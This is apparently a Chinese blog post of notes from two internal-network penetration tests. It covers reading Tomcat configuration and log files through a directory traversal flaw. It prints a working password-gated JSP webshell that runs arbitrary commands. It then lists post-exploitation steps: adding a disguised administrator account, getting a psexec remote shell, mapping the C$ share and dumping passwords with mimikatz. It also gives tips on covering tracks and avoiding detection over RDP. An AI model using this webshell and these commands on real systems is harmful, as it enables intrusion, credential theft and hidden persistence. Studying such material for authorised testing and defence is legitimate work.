最近两次内网渗透测试小记
更新时间:
许可信息: 本文采用 自由转载-非商用-非衍生-保持署名 许可协议,作者alpha1e0,转载请注明作者或出处链接。
概要:本文记录了近期两次渗透测试的经验
1 tomcat站点目录遍历漏洞的利用
1 利用配置文件获取信息。
- 全局配置文件
server.xml
。存放在tomcat目录下conf文件夹,主要是server.xml
,关注host标签、host中得context标签。 - 站点配置文件
web.xml
。全局的web.xml很少有敏感信息,主要关注webapps/app/WEB-INF/web.xml
,这个配置文件有关于servlet的信息 - 其他配置文件,例如
struct-config.xml
,有关于bean的详细信息
2 利用日志文件获取信息。
- 日志文件的格式和存储目录在
servlet.xml
文件中配置 - 日志文件中可能有网站打包的jar文件的文件名
- 日志文件可能有sessionid等信息
2 JSP小马利用方式
1 JSP小马
<%
if("password".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}%>
PS:以上代码最好改为POST方法
2 JSP小马利用
这个小马利用起来比较麻烦,非交互,而且中文显示也有问题,所以还需要利用jsp小马获得更方便的shell。 如果135,3389无法访问,就比较麻烦了,不过我这次碰到的情况这两个端口都是开启的。
-
利用135端口
net user superuser passwd /add #添加superuser账户,用户名一定要混淆视听,比如tomcat、sqlserver之类 net localgroup administrators superuser /add #将用户superuser加入到administrators组 psexec \\ip -u superuser -p passwd "cmd.exe" #使用psexec远程shell net use z: \\ip\c$ /superuser:passwd #映射磁盘到本地z: mimikatz.exe; privilege::debug; sekurlsa::logonpasswords #导用户密码;导出用户密码之后最好删除superuser用户
-
利用3389端口
利用3389端口远程桌面,这里要注意的是,3389“动作较大”容易被发现,如果是windows server还好,如果是普通windows则很容易被人发现,例如win7,如果黑客使用的不是当前登录的用户的账户,则当前登录的用户会看到一个对话框“某某想要远程登录到这台机器,是否允许”之类,当前用户一定会发现。